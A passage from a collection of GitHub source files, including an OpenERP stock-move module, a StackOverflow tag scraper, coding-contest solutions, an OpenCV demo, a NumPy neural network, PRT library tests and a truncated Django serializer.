+{"seq_id":"73692885951","text":"# -*- coding: utf-8 -*-\n# © 2014 Elico Corp (https://www.elico-corp.com)\n# Licence AGPL-3.0 or later(http://www.gnu.org/licenses/agpl.html)\n\n\nfrom openerp.osv import fields, osv\nfrom openerp.tools.translate import _\nimport openerp.addons.decimal_precision as dp\nfrom openerp import netsvc\nfrom openerp.tools import float_compare\nimport time\n\nclass stock_move_add(osv.osv_memory):\n    _name = \"stock.move.add\"\n    _description = \"Add new Move for Production Order\"\n\n    _columns = {\n        'date_expected': fields.datetime('Scheduled Date', required=True),\n        'product_id': fields.many2one('product.product', 'Product', required=True, domain=[('type','<>','service')]),\n\n        'product_qty': fields.float('Quantity', digits_compute=dp.get_precision('Product Unit of Measure'), required=True),\n        'product_uom': fields.many2one('product.uom', 'Unit of Measure', required=True ),\n        'product_uos_qty': fields.float('Quantity (UOS)', digits_compute=dp.get_precision('Product Unit of Measure')),\n        'product_uos': fields.many2one('product.uom', 'Product UOS'),\n        'location_id': fields.many2one('stock.location', 'Source Location', required=True),\n        'location_dest_id': fields.many2one('stock.location', 'Destination Location', required=True),\n        'prodlot_id': fields.many2one('stock.production.lot', 'Serial Number'),\n    }\n\n    def _default_location_destination(self, cr, uid, context=None):\n        \"\"\" Gets default address of partner for destination location\n        @return: Address id or False\n        \"\"\"\n        if context is None:\n            context = {}\n        if not context.get('mo_id', False) or not context.get('active_id', False) :\n            mod_obj = self.pool.get('ir.model.data')\n            location_model, location_id = mod_obj.get_object_reference(cr, uid, 'stock', 'stock_location_production')\n        else:\n            mrp_obj = self.pool.get('mrp.production')\n            production = mrp_obj.browse(cr, uid, context.get('mo_id', False) or context.get('active_id', False), context)\n            location_id = production.product_id.property_stock_production.id\n        return location_id\n\n    def _default_location_source(self, cr, uid, context=None):\n        \"\"\" Gets default address of partner for source location\n        @return: Address id or False\n        \"\"\"\n        if context is None:\n            context = {}\n        return context.get('location_id', False)\n\n    _defaults = {\n        'location_id': _default_location_source,\n        'location_dest_id': _default_location_destination,\n        'product_qty': 1.0,\n        'date_expected': lambda *a: time.strftime('%Y-%m-%d %H:%M:%S'),\n    }\n\n    def onchange_lot_id(self, cr, uid, ids, prodlot_id=False, product_qty=False,\n                        loc_id=False, product_id=False, uom_id=False, context=None):\n        \"\"\" On change of production lot gives a warning message.\n        @param prodlot_id: Changed production lot id\n        @param product_qty: Quantity of product\n        @param loc_id: Location id\n        @param product_id: Product id\n        @return: Warning message\n        \"\"\"\n        if not prodlot_id or not loc_id:\n            return {}\n        ctx = context and context.copy() or {}\n        ctx['location_id'] = loc_id\n        ctx.update({'raise-exception': True})\n        uom_obj = self.pool.get('product.uom')\n        product_obj = self.pool.get('product.product')\n        product_uom = product_obj.browse(cr, uid, product_id, context=ctx).uom_id\n        prodlot = self.pool.get('stock.production.lot').browse(cr, uid, prodlot_id, context=ctx)\n        location = self.pool.get('stock.location').browse(cr, uid, loc_id, context=ctx)\n        uom = uom_obj.browse(cr, uid, uom_id, context=ctx)\n        amount_actual = uom_obj._compute_qty_obj(cr, uid, product_uom, prodlot.stock_available, uom, context=ctx)\n        warning = {}\n        if (location.usage == 'internal') and (product_qty > (amount_actual or 0.0)):\n            warning = {\n                'title': _('Insufficient Stock for Serial Number !'),\n                'message': _('You are moving %.2f %s but only %.2f %s available for this serial number.') % (product_qty, uom.name, amount_actual, uom.name)\n            }\n        return {'warning': warning}\n\n    def onchange_quantity(self, cr, uid, ids, product_id, product_qty,\n                          product_uom, product_uos):\n        \"\"\" On change of product quantity finds UoM and UoS quantities\n        @param product_id: Product id\n        @param product_qty: Changed Quantity of product\n        @param product_uom: Unit of measure of product\n        @param product_uos: Unit of sale of product\n        @return: Dictionary of values\n        \"\"\"\n        result = {\n                  'product_uos_qty': 0.00\n          }\n        warning = {}\n\n        if (not product_id) or (product_qty <=0.0):\n            result['product_qty'] = 0.0\n            return {'value': result}\n\n        product_obj = self.pool.get('product.product')\n        uos_coeff = product_obj.read(cr, uid, product_id, ['uos_coeff'])\n        \n        # Warn if the quantity was decreased \n        if ids:\n            for move in self.read(cr, uid, ids, ['product_qty']):\n                if product_qty < move['product_qty']:\n                    warning.update({\n                       'title': _('Information'),\n                       'message': _(\"By changing this quantity here, you accept the \"\n                                \"new quantity as complete: OpenERP will not \"\n                                \"automatically generate a back order.\") })\n                break\n\n        if product_uos and product_uom and (product_uom != product_uos):\n            result['product_uos_qty'] = product_qty * uos_coeff['uos_coeff']\n        else:\n            result['product_uos_qty'] = product_qty\n\n        return {'value': result, 'warning': warning}\n\n    def onchange_uos_quantity(self, cr, uid, ids, product_id, product_uos_qty,\n                          product_uos, product_uom):\n        \"\"\" On change of product quantity finds UoM and UoS quantities\n        @param product_id: Product id\n        @param product_uos_qty: Changed UoS Quantity of product\n        @param product_uom: Unit of measure of product\n        @param product_uos: Unit of sale of product\n        @return: Dictionary of values\n        \"\"\"\n        result = {\n                  'product_qty': 0.00\n          }\n        warning = {}\n\n        if (not product_id) or (product_uos_qty <=0.0):\n            result['product_uos_qty'] = 0.0\n            return {'value': result}\n\n        product_obj = self.pool.get('product.product')\n        uos_coeff = product_obj.read(cr, uid, product_id, ['uos_coeff'])\n        \n        # Warn if the quantity was decreased \n        for move in self.read(cr, uid, ids, ['product_uos_qty']):\n            if product_uos_qty < move['product_uos_qty']:\n                warning.update({\n                   'title': _('Warning: No Back Order'),\n                   'message': _(\"By changing the quantity here, you accept the \"\n                                \"new quantity as complete: OpenERP will not \"\n                                \"automatically generate a Back Order.\") })\n                break\n\n        if product_uos and product_uom and (product_uom != product_uos):\n            result['product_qty'] = product_uos_qty / uos_coeff['uos_coeff']\n        else:\n            result['product_qty'] = product_uos_qty\n        return {'value': result, 'warning': warning}\n        \n    def onchange_product_id(self, cr, uid, ids, prod_id=False):\n        \"\"\" On change of product id, if finds UoM, UoS, quantity and UoS quantity.\n        @param prod_id: Changed Product id\n        @return: Dictionary of values\n        \"\"\"\n        if not prod_id:\n            return {}\n        \n        product = self.pool.get('product.product').browse(cr, uid, [prod_id], context=None)[0]\n        uos_id  = product.uos_id and product.uos_id.id or False\n        result = {\n            'product_uom': product.uom_id.id,\n            'product_uos': uos_id,\n            'product_qty': 1.00,\n            'product_uos_qty' : self.pool.get('stock.move').onchange_quantity(cr, uid, ids, prod_id, 1.00, product.uom_id.id, uos_id)['value']['product_uos_qty'],\n            'prodlot_id' : False,\n        }\n        return {'value': result}\n    \n    def add_production_line_procurement(self, cr, uid, new_move, production, shipment_move_id, context=None):\n        wf_service = netsvc.LocalService(\"workflow\")\n        procurement_order = self.pool.get('procurement.order')\n\n        location_id = new_move.location_id.id or production.location_src_id.id\n        date_planned = new_move.date_expected or production.date_planned\n        procurement_name = (production.origin or '').split(':')[0] + ':' + production.name\n        procurement_id = procurement_order.create(cr, uid, {\n                    'name': procurement_name,\n                    'origin': procurement_name,\n                    'date_planned': date_planned,\n                    'product_id': new_move.product_id.id,\n                    'product_qty': new_move.product_qty,\n                    'product_uom': new_move.product_uom.id,\n                    'product_uos_qty': new_move.product_uos and new_move.product_qty or False,\n                    'product_uos': new_move.product_uos and new_move.product_uos.id or False,\n                    'location_id': location_id,\n                    'procure_method': new_move.product_id.procure_method,\n                    'move_id': shipment_move_id,\n                    'company_id': production.company_id.id,\n                })\n        wf_service.trg_validate(uid, procurement_order._name, procurement_id, 'button_confirm', cr)\n        wf_service.trg_validate(uid, procurement_order._name, procurement_id, 'button_check', cr)\n        return procurement_id\n\n    def add_production_internal_shipment_line(self, cr, uid, new_move, production, consume_move_id=False, context=None):\n        stock_move = self.pool.get('stock.move')\n        date_planned = new_move.date_expected or production.date_planned\n        # Internal shipment is created for Stockable and Consumer Products\n        if new_move.product_id.type not in ('product', 'consu'):\n            return False\n        source_location_id = new_move.location_id.id or production.location_src_id.id\n        \n        move_id = stock_move.create(cr, uid, {\n                        'name': production.name,\n                        #'picking_id': shipment_id,\n                        'product_id': new_move.product_id.id,\n                        'product_qty': new_move.product_qty,\n                        'product_uom': new_move.product_uom.id,\n                        'product_uos_qty': new_move.product_uos and new_move.product_uos_qty or False,\n                        'product_uos': new_move.product_uos and new_move.product_uos.id or False,\n                        'date': date_planned,\n                        'date_expected': date_planned,\n                        'move_dest_id': consume_move_id,\n                        'location_id': source_location_id,\n                        'location_dest_id': source_location_id,\n                        'state': 'waiting',\n                        'company_id': production.company_id.id,\n                })\n\n        if production.picking_id:\n            if production.picking_id.state != 'done':\n                new_move = { 'picking_id': production.picking_id.id }\n            else:\n                default = {}\n                default['name'] = self.pool.get('ir.sequence').get(cr, uid, production.picking_id.type)\n                default['move_line'] = False\n                default['state'] = 'auto'\n                new_picking = self.pool.get('stock.picking').copy(cr, uid, production.picking_id.id, default, context)\n                if new_picking:\n                    new_move = { 'picking_id': new_picking }\n            stock_move.write(cr, uid, [move_id], new_move, context)\n            wf_service = netsvc.LocalService(\"workflow\")\n            if production.picking_id.state == 'done':\n                wf_service.trg_validate(uid, 'stock.picking', production.picking_id.id, 'button_confirm', cr)\n\n        return move_id\n\n    def add_production_consume_line(self, cr, uid, new_move, production, context=None):\n        stock_move = self.pool.get('stock.move')\n\n        # Internal shipment is created for Stockable and Consumer Products\n        if new_move.product_id.type not in ('product', 'consu'):\n            return False\n        destination_location_id = new_move.location_dest_id.id or production.product_id.property_stock_production.id\n        source_location_id = new_move.location_id.id or production.location_src_id.id\n        move_id = stock_move.create(cr, uid, {\n            'name': production.name,\n            'date': new_move.date_expected,\n            'date_expected': new_move.date_expected,\n            'product_id': new_move.product_id.id,\n            'product_qty': new_move.product_qty,\n            'product_uom': new_move.product_uom.id,\n            'product_uos_qty': new_move.product_uos and new_move.product_uos_qty or False,\n            'product_uos': new_move.product_uos and new_move.product_uos.id or False,\n            'location_id': source_location_id,\n            'location_dest_id': destination_location_id,\n            'move_dest_id': production.move_prod_id.id,\n            'state': 'waiting',\n            'company_id': production.company_id.id,\n        })\n        production.write({'move_lines': [(4, move_id)]}, context=context)\n        return move_id\n\n    def add_mo_product(self, cr, uid, ids, context=None):\n        \"\"\" Add new move.\n        @return: True.\n        \"\"\"        \n        if context is None:\n            context = {}\n        \n        if not context.get('mo_id', False) or not context.get('active_id', False) :\n            raise osv.except_osv(_('Exception!'), _('Can not create the Move related to MO'))\n        \n        new_move = self.browse(cr, uid, ids, context)[0]\n        \n        mrp_obj = self.pool.get('mrp.production')\n        production = mrp_obj.browse(cr, uid, context.get('mo_id', False) or context.get('active_id', False), context)\n\n        prod_line_obj = self.pool.get('mrp.production.product.line')\n        line_ids = prod_line_obj.search(cr, uid, [('production_id','=', production.id),('product_id','=', new_move.product_id.id)], context=context)\n        if line_ids:\n            pl = prod_line_obj.browse(cr, uid, line_ids[0]) \n            qty_in_line_uos = False           \n            product_uom_obj = self.pool.get('product.uom')\n            qty_in_line_uom = product_uom_obj._compute_qty(cr, uid, pl.product_uom.id, new_move.product_qty, to_uom_id=new_move.product_uom.id)\n            vals={'product_qty': pl.product_qty + qty_in_line_uom}\n            if pl.product_uos and new_move.product_uos and pl.product_uos_qty and new_move.product_uos_qty:\n                qty_in_line_uos = product_uom_obj._compute_qty(cr, uid, pl.product_uos.id, new_move.product_uos_qty or 0.0, to_uom_id=new_move.product_uos.id)\n                vals={'product_uos_qty': pl.product_uos_qty or 0.0 + qty_in_line_uos}\n            prod_line_obj.write(cr, uid, [pl.id], vals)\n            \n            found = False\n            for move in production.move_lines:\n                if move.product_id.id == new_move.product_id.id:\n                    vals={'product_qty': move.product_qty + qty_in_line_uom}\n                    if qty_in_line_uos:\n                        vals={'product_uos_qty': move.product_uos_qty or 0.0 + qty_in_line_uos}\n                    self.pool.get('stock.move').write(cr, uid, [move.id], vals)\n                    found = True\n                    break\n            consume_move_id = False\n            if not found:\n                consume_move_id = self.add_production_consume_line(cr, uid, new_move, production, context=context)\n        else:\n            line = {\n                'name': new_move.product_id.name,\n                'product_id': new_move.product_id.id,\n                'product_qty': new_move.product_qty,\n                'product_uom': new_move.product_uom.id,\n                'product_uos_qty': new_move.product_uos and new_move.product_uos_qty or False,\n                'product_uos': new_move.product_uos and new_move.product_uos.id or False,\n                'production_id': production.id,\n            }\n            prod_line_obj.create(cr, uid, line)\n            consume_move_id = self.add_production_consume_line(cr, uid, new_move, production, context=context)\n        #shipment_id = self._make_production_internal_shipment(cr, uid, production, context=context)\n        \n        shipment_move_id = self.add_production_internal_shipment_line(cr, uid, new_move, production, consume_move_id, context=context)\n        self.add_production_line_procurement(cr, uid, new_move, production, shipment_move_id, context=context)\n        \n        \n        return True\nstock_move_add()\n\nclass stock_move(osv.osv):\n    _inherit = \"stock.move\"\n    #\n    # Cancel move => cancel others move and pickings\n    #\n    def action_consume_cancel(self, cr, uid, ids, context=None):\n        \"\"\" Cancels the moves and if all moves are cancelled it cancels the picking.\n        @return: True\n        \"\"\"\n        if not ids:\n            return True\n        \n        new_move = self.browse(cr, uid, ids, context)[0]\n        \n        sm_ids = self.search(cr, uid, [('move_dest_id','=', new_move.id)], context=context)\n        sp_picking = False\n        if sm_ids:\n            for move in self.browse(cr, uid, sm_ids):\n                sp_picking = move.picking_id\n                if move.state == 'done':\n                    self.write(cr, uid, [move.id], {'state': 'cancel'})\n                else:\n                    self.action_cancel(cr, uid, [move.id], context=context)\n        if sp_picking:            \n            mrp_obj = self.pool.get('mrp.production')\n            mo_ids = mrp_obj.search(cr, uid, [('picking_id','=', sp_picking.id)], context=context)\n            if mo_ids:\n                prod_line_obj = self.pool.get('mrp.production.product.line')\n                ml_ids = prod_line_obj.search(cr, uid, [('production_id','=', mo_ids[0]),('product_id','=', new_move.product_id.id)], context=context)\n                if ml_ids:\n                    prod_line = prod_line_obj.browse(cr, uid, ml_ids)[0]\n                    compare = float_compare(prod_line.product_qty, new_move.product_qty, precision_rounding=4)\n                    if compare == 0:\n                        prod_line_obj.unlink(cr, uid, [prod_line.id], context=context)\n                    elif compare > 0:\n                        prod_line_obj.write(cr, uid, [prod_line.id], {'product_qty': prod_line.product_qty - new_move.product_qty})\n                    \n        self.action_cancel(cr, uid, [new_move.id], context=context)\n\nclass mrp_production(osv.osv):\n    \"\"\"\n    Production Orders / Manufacturing Orders\n    \"\"\"\n    _inherit = 'mrp.production'\n\n    _columns = {\n        'move_lines2': fields.many2many('stock.move', 'mrp_production_move_ids', 'production_id', 'move_id', 'Consumed Products',\n            domain=[('state','in', ('done',''))], readonly=True, states={'draft':[('readonly',False)]}),\n    }\n","repo_name":"Elico-Corp/openerp-7.0","sub_path":"mrp_change_rm/stock.py","file_name":"stock.py","file_ext":"py","file_size_in_byte":19247,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"60"}
+{"seq_id":"28530741415","text":"\"\"\"A script to scrape the tags of questions tagged as 'python' on StackOverflow.\"\"\"\n\nimport argparse\nimport logging\nimport time\n\nfrom bs4 import BeautifulSoup\nimport requests\nfrom tqdm import tqdm\n\n\n# arguments\n# ---------\n\nparser = argparse.ArgumentParser(\n    description=__doc__, formatter_class=argparse.ArgumentDefaultsHelpFormatter\n)\nparser.add_argument(\n    '--num-pages', type=int, default=1000,\n    help='number of pages to scrape'\n)\nparser.add_argument(\n    '--email', type=str, default=None,\n    help='email for login into stackoverflow'\n)\nparser.add_argument(\n    '--password', type=str, default=None,\n    help='password for login into stackoverflow'\n)\nparser.add_argument(\n    '--pause-after', type=int, default=100,\n    help='pause after every PAUSE_AFTER pages to avoid being blocked'\n)\nparser.add_argument(\n    '--pause', type=int, default=60,\n    help='pause for PAUSE number of seconds after every PAUSE_AFTER pages to avoid being blocked'\n)\nparser.add_argument(\n    '--halt', type=int, default=600,\n    help='halt for HALT number of seconds before retrying after detecting that the scraper is blocked'\n)\nparser.add_argument(\n    '--output-file', type=str, default='dataset.csv',\n    help='file to write the scraped output to'\n)\nparser.add_argument(\n    '--write-after', type=int, default=50,\n    help='write data to OUTPUT_FILE after every WRITE_AFTER pages'\n)\nparser.add_argument(\n    '--questions-tab', type=str, default='newest',\n    choices=['newest', 'active', 'bountied', 'unanswered', 'frequent', 'votes'],\n    help='questions tab specified to stackoverflow'\n)\nparser.add_argument(\n    '--no-reverse', action='store_true',\n    help='scrape pages in normal order instead of reverse order\\n'\n)\nparser.add_argument(\n    '--pagesize', type=str, default='50',\n    choices=['15', '30', '50'],\n    help='pagesize specified to stackoverflow'\n)\nargs = parser.parse_args()\n\n\n# set up log file\nlogging.basicConfig(filename='scraper.log', filemode='w', level=logging.WARNING)\n\n\n# scraping\n# --------\n\n# using a session uses less time per connection\nsession = requests.Session()\n\n# authenticate into stackoverflow if email and password are provided\nif args.email is not None and args.password is not None:\n    session.post(\n        'https://stackoverflow.com/users/login?ssrc=head&returnurl=https%3a%2f%2fstackoverflow.com%2f',\n        data = {\n            'email': args.email,\n            'password': args.password\n        }\n    )\n\n# parameters to pass to every GET request\nparams = {\n    'tab': args.questions_tab,\n    'pagesize': args.pagesize\n}\n\ntags_list = []\nmode = 'w'\n\nif args.no_reverse:\n    page_iterator = range(1, args.num_pages+1)\nelse:\n    page_iterator = range(args.num_pages, 0, -1)\n\n# tqdm adds a progress bar\npage_iterator = tqdm(page_iterator, desc='scraping', unit='page')\n\nfor page in page_iterator:\n\n    # page 1 should have no page parameter\n    if page > 1:\n        params['page'] = str(page)\n\n    while True:\n\n        # query stackoverflow\n        response = session.get(\n            'https://www.stackoverflow.com/questions/tagged/python',\n            params=params\n        )\n\n        if response.status_code == 200:   # all ok\n            break\n        elif response.status_code == 429: # blocked\n            logging.warning(\n                f'page {page}: scraper blocked, halting ...'\n            )\n            time.sleep(args.halt)\n        else:                             # something else wrong\n            logging.warning(\n                f'page {page}: status code of {response.status_code} received, retrying ...'\n            )\n\n    html = response.text\n\n    soup = BeautifulSoup(html, 'html.parser')\n\n    # a simple analysis of the HTML reveals that the \"tags\" are contained in\n    # a-tags of the form <a class='post-tag'>...</a> present within div-tags\n    # of the form <div class='question-summary'>...</div>\n    for question_div in soup.find_all('div', 'question-summary'):\n\n        tags = []\n        for a in question_div.find_all('a', 'post-tag'):\n            tag_name = a.string\n\n            # sometimes a.string doesn't contain the text of the \"tag\"\n            if tag_name is None:\n                tag_name = a.contents[1]\n\n            # skip the \"tag\" with text 'python'\n            elif tag_name == 'python':\n                continue\n\n            tags.append(tag_name)\n\n        tags_list.append(tags)\n\n    first_page = (page == 1) if args.no_reverse else page == args.num_pages\n    last_page = (page == args.num_pages) if args.no_reverse else page == 1\n\n    # write the scraped tags to file\n    if not first_page and (page % args.write_after == 0 or last_page):\n\n        # separate tags of a single question with commas\n        tags_data = '\\n'.join([','.join(tags) for tags in tags_list])\n\n        with open(args.output_file, mode) as f:\n            f.write(tags_data)\n            f.write('\\n')\n\n        tags_list = []\n\n        # initially the mode to write to the output file was 'w' (write),\n        # henceforth it should be 'a' (append)\n        mode = 'a'\n\n    # regular pausing to avoid blocking\n    if not (first_page or last_page) and (page_num % args.pause_after == 0):\n        time.sleep(args.pause)\n\nsession.close()\n","repo_name":"codeandfire/pythontags","sub_path":"scraper.py","file_name":"scraper.py","file_ext":"py","file_size_in_byte":5188,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"19597999327","text":"class Solution:\n    def canConstruct(self, s: str, k: int) -> bool:\n        if len(s) < k:\n            return False\n        \n        cnt = Counter(s)\n        oddcount = 0\n        for key in cnt:\n            if cnt[key]%2 == 1:\n                oddcount += 1\n            if oddcount>k:\n                return False\n        return True\n","repo_name":"jiheechoi6/a-leetcode-a-day","sub_path":"1400_construct_k_palindrome.py","file_name":"1400_construct_k_palindrome.py","file_ext":"py","file_size_in_byte":333,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"19196159055","text":"import json, requests, time, signal\n\ndef handler(signum, frame):\n    print(\"*****TIMEOUT EXCEPTION*****\")\n    raise Exception(\"It took too much time to end that\")\n\ndef call_service(url, it_apps, responses):\n    signal.signal(signal.SIGALRM, handler)\n    signal.alarm(600)\n    r = requests.post(url, json=json.dumps(it_apps), headers={\"Content-type\":\"application/json\"})\n    signal.alarm(0)\n    responses.append(r.json())\n\nfile = open('../data/app_query_MERGED.json')\n\napps = json.load(file)\n\ni = 0\nresponses = []\nwhile i < len(apps):\n    it_apps = []\n    it_apps.append(apps[i])\n\n    url = \"http://127.0.0.1:5000/export-data?api-consumers=true&web-scrapers=true\"\n\n    try:\n        call_service(url, it_apps, responses)\n    except Exception:\n        try:\n            call_service(url, it_apps, responses)\n        except Exception:\n            missed_apps = None\n            with open(\"/home/quim-motger/Projects/PhD/app_data_scanner_service/data/scanApps/fail/missed-apps.json\") as f1:\n                missed_apps = json.load(f1)\n                missed_apps.append(it_apps[0])\n            with open(\"/home/quim-motger/Projects/PhD/app_data_scanner_service/data/scanApps/fail/missed-apps.json\", 'w') as outfile:\n                json.dump(missed_apps, outfile)\n\n    i += 1\n    if i % 10 == 0 and i > 0:\n        time.sleep(10)\n\nprint(responses)","repo_name":"gessi-chatbots/app_data_scanner_service","sub_path":"scripts/scan_apps_from_list.py","file_name":"scan_apps_from_list.py","file_ext":"py","file_size_in_byte":1340,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"71573201471","text":"import sys\nimport math\n\na, b, c, d = map(int, sys.stdin.readline().split())\nassert(a <= 1e12 and b <= 1e12)\n\ngcdd = math.gcd(a-b, c-d)\nans = []\nfor i in range(1, int(math.sqrt(gcdd))+1):\n    if gcdd % i == 0:\n        if gcdd / i == i:\n            ans.append(i)\n        else:\n            ans.append(gcdd / i)\n            ans.append(i)\nans = sorted([int(i) for i in ans if i > max(b, d)])\nfor nxt in ans:\n    print(nxt)\n\n# https://dmoj.ca/problem/cheerio2p4","repo_name":"Williamwu277/Competitive-Programming","sub_path":"cheerio2p4.py","file_name":"cheerio2p4.py","file_ext":"py","file_size_in_byte":455,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"14980877854","text":"import cv2\r\nimport time\r\n\r\nprint(cv2.__version__)\r\n\r\nimg = cv2.imread('apple.jpg',1)\r\n\r\nprint(img)\r\n\r\ncv2.imshow('first image',img)\r\nk = cv2.waitKey(0)\r\n#Error(1): I wrote waitkey wrong\r\n# It should be written by capital \r\n# k letter to be waitKey\r\n\r\nif k == 27:\r\n    cv2.destroyAllWindows()\r\nelif k == ord('s'):\r\n#(ord) used to make order like \r\n#if I want to make somthing by press \r\n#Any key I want\r\n#So here  I want to close tap \r\n#By pressing s letter\r\n \r\n     cv2.imwrite('sec image.jpg',img)\r\ncv2.destroyAllWindows()\r\n     ","repo_name":"Youssefkhaled55/Basic_computer_vision","sub_path":"2.Read and write image.py","file_name":"2.Read and write image.py","file_ext":"py","file_size_in_byte":530,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"15047038334","text":"import numpy as np\n\nclass Neural_Network(object):\n    def __init__(self):\n        \"\"\"Setting the structure\"\"\"\n        self.inputLayerSize = 2\n        self.outputLayerSize = 1\n        self.hiddenLayerSize = 4\n\n        # Randomly initialize wages\n        self.W1 = np.random.randn(self.inputLayerSize, self.hiddenLayerSize)\n        self.W2 = np.random.randn(self.hiddenLayerSize, self.outputLayerSize)\n\n    def forward(self, X):\n        \"\"\"Forward propagation\"\"\"\n        self.z2 = np.dot(X, self.W1)\n        self.a2 = self.sigmoid(self.z2)\n        self.z3 = np.dot(self.a2, self.W2)\n        predict = self.sigmoid(self.z3)\n        return predict\n\n    def sigmoid(self, z):\n        \"\"\" Element wise sigmoid function\"\"\"\n        return 1 / (1 + np.exp(-z))\n\n    def sigmoidPrime(self, z):\n        \"\"\" Derative of sigmoid function\"\"\"\n        return np.exp(-z) / ((1 + np.exp(-z)) ** 2)\n\n    def costFunction(self, X, y):\n        \"\"\"Compute cost for given data and wages\"\"\"\n        predict = self.forward(X)\n        cost = 0.5 * sum((y - predict) ** 2)\n        return cost\n\n    def compute_gradient(self, X, y):\n        \"\"\" Compute derivative for wages\"\"\"\n        predict = self.forward(X)\n\n        delta3 = np.multiply(-(y - predict), self.sigmoidPrime(self.z3))\n        dJdW2 = np.dot(self.a2.T, delta3)\n\n        delta2 = np.dot(delta3, self.W2.T) * self.sigmoidPrime(self.z2)\n        dJdW1 = np.dot(X.T, delta2)\n\n        return dJdW1, dJdW2\n\n    def learn(self, X, y, learning_rate):\n        \"\"\" Compute gradient and subtract from actual parameters\"\"\"\n        dJdW1, dJdW2 = self.compute_gradient(X, y)\n\n        self.W1 = self.W1 - learning_rate * dJdW1\n        self.W2 = self.W2 - learning_rate * dJdW2\n\n    @staticmethod\n    def make_binary_output(predict):\n        for i in range(len(predict)):\n            if predict[i] >= 0.5:\n                predict[i] = 1\n            else:\n                predict[i] = 0\n\n        return predict\n\n    @staticmethod\n    def compute_accuracy(predict, y):\n        accurate = 0\n        for i in range(len(y)):\n            if y[i] == predict[i]:\n                accurate += 1\n\n        return accurate / len(y)\n\n","repo_name":"KordianD/Machine-Learning","sub_path":"Simple-Neural-Network/Neural_Network.py","file_name":"Neural_Network.py","file_ext":"py","file_size_in_byte":2142,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"7273422700","text":"# -*- coding: utf-8 -*-\n# Import compatibility features\nfrom __future__ import (absolute_import,\n                        division,\n                        print_function,\n                        unicode_literals)\n\n# Import from standard modules\nfrom unittest import TestCase\n\n# Import from PRT modules\nfrom prt.error          import PRTError\nfrom prt.version        import (PRTVersion,\n                                InvalidVersion)\nfrom prt.document       import PRTDocument\nfrom prt.dialects       import register_dialect\nfrom prt.v2.dialect     import PRTDialect\nfrom prt.v2.document    import PRTDocument as PRTDocumentV2\n\n\n#------------------------------------------------------------------------------#\nclass TestDialect(PRTDialect):\n    NAME = 'test'\n\n\n#------------------------------------------------------------------------------#\nclass TestPRTDocument(TestCase):\n\n    #- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - #\n    def setUp(self):\n        register_dialect(TestDialect, PRTVersion.V2)\n\n    #- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - #\n    def test_empty_valid_document(self):\n        PRTDocument(None, version=PRTVersion.V2, dialect='test')\n\n    #- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - #\n    def test_empty_invalid_document(self):\n        self.assertRaises(InvalidVersion,\n                          PRTDocument,\n                          elements=None,\n                          dialect='test',\n                          version=2.0)\n\n    #- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - #\n    def test_simple_valid_document_from_html(self):\n        PRTDocument.from_html('<PRTDocument version=\"2.0\" dialect=\"test\"/>')\n\n    #- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - #\n    def test_simple_invalid_document_from_html(self):\n        self.assertRaises(InvalidVersion,\n                          PRTDocument.from_html,\n                          string='',\n                          version=2.0)\n\n    #- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - #\n    def test_simple_valid_document_from_json(self):\n        PRTDocument.from_json(\n            '{'\n                '\"type\":\"PRTDocument\",'\n                '\"version\":\"2.0\",'\n                '\"dialect\":\"test\",'\n                '\"elements\":null'\n            '}')\n\n    #- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - #\n    def test_simple_invalid_document_from_json(self):\n        self.assertRaises(InvalidVersion,\n                          PRTDocument.from_json,\n                          string='',\n                          version=2.0)\n","repo_name":"wegotpop/prt-server","sub_path":"tests/python2/unit/test_document.py","file_name":"test_document.py","file_ext":"py","file_size_in_byte":2707,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"73617260351","text":"from ..utils.Serializers import CreateModelSerializer, EditModelSerializer, ListModelSerializer\nfrom ..user.serializers import (UserCustomerCreateSerializer,\n                                UserEditSerializer,\n                                UserDetailSerializer,\n                                UserCustomerEditSerializer\n                                )\nfrom ..identification.serializers import (IdentificationCreateSerializer, IdentificationEditSerializer)\nfrom ..address.serializers import Address, AddressCreateSerializer, AddressDetailSerializer\n\nfrom ..identification.models import Identification\n\nfrom ..all_time_stat.models import AllTimeStat\nfrom ..utils import Constants, DateUtils\n\nfrom .models import Customer\nfrom ..setting.models import Setting\n\n\nclass CustomerCreateSerializer(CreateModelSerializer):\n\n    user = UserCustomerCreateSerializer()\n\n    class Meta:\n        model = Customer\n        fields = [\"user\",]\n\n    def validate(self, attrs):\n        user_data = attrs['user']\n        user_data[\"role\"] = Constants.USER_ROLE_CUSTOMER\n\n        return attrs\n\n    def create(self, validated_data):\n        user_data = validated_data.pop(\"user\")\n\n        serializer = UserCustomerCreateSerializer(data=user_data)\n        user = serializer.create(user_data)\n        validated_data[\"user\"] = user\n\n        customer = Customer.objects.create(**validated_data)\n\n        AllTimeStat.update(Constants.ALL_TIME_STAT_TYPE_CUSTOMER_COUNT, 1)\n\n        return customer\n\n\nclass CustomerEditSerializer(EditModelSerializer):\n\n    user = UserCustomerEditSerializer(partial=True)\n    address = AddressCreateSerializer(required=False)\n    identification = IdentificationCreateSerializer(required=False)\n\n    class Meta:\n        model = Customer\n        fields = [\"user\", \"address\", \"identification\"]\n\n    def validate(self, attrs):\n        identification_validation(self, attrs, self.instance)\n        return attrs\n\n    def update(self, instance, validated_data):\n        address_data = validated_data.pop(\"address\", None)\n        user_data = validated_data.pop(\"user\", None)\n        identification_data = validated_data.pop(\"identification\", None)\n\n        if user_data:\n            serializer = UserCustomerEditSerializer(instance=instance.user, data=user_data, partial=True)\n            serializer.update(instance.user, user_data)\n\n        if 